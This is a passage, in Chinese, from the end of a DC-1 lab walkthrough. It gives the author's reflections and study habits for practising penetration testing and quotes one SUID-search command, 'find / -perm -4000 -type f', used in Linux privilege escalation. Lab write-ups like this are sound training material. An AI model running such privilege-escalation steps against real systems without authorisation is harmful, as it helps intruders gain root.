sh等替代方案。一个稳定的TTY能避免后续使用sudo、编辑器时出现的各类诡异问题。7. 一点个人经验总结DC-1这个靶场我前后打过好几遍,每次打都能发现一些新的细节。第一次是在设环境时踩了一堆坑,第二次开始做时间记录和命令复盘,第三次就尝试不依赖MSF模块,手工构造请求和Payload。每换一种打法,对漏洞的理解就加深一层。有几个习惯是我个人特别推荐的:每做完一步,就把当前会话截图保存下来,或者用笔记记录下来。打靶场的完整链路很长,事后再想当初某个细节很容易遗漏。不要只盯着工具的输出看,还要理解命令为什么这么组合。比如你记不住find / -perm -4000 -type f不要紧,但要记住这个命令在做什么:找一切可以让普通用户以特殊权限启动程序的入口。如果卡在某个环节超过半小时,先离开键盘,把已经获得的信息列表梳理一遍,线索往往就在之前已经拿到但被无视的文件或输出里。打靶不是比手速,比的是信息关联能力。顺手把每个flag文件复制到本地文件夹,作为自己练习成果的记录。这样既能证明这条链路真的走通了,后续写报告或复盘时也有依据。第一次完整打通一条"外网入口到Root提权"的链路,那种感觉很奇妙——不是游戏里通关的快感,而是以前看不懂的漏洞利用、权限概念突然在一条清晰的路径上串起来了。看完这篇之后,建议你立刻动手从扫描重新走一遍,不要只看不做。自己敲一遍命令和看我敲一遍,效果差好几倍。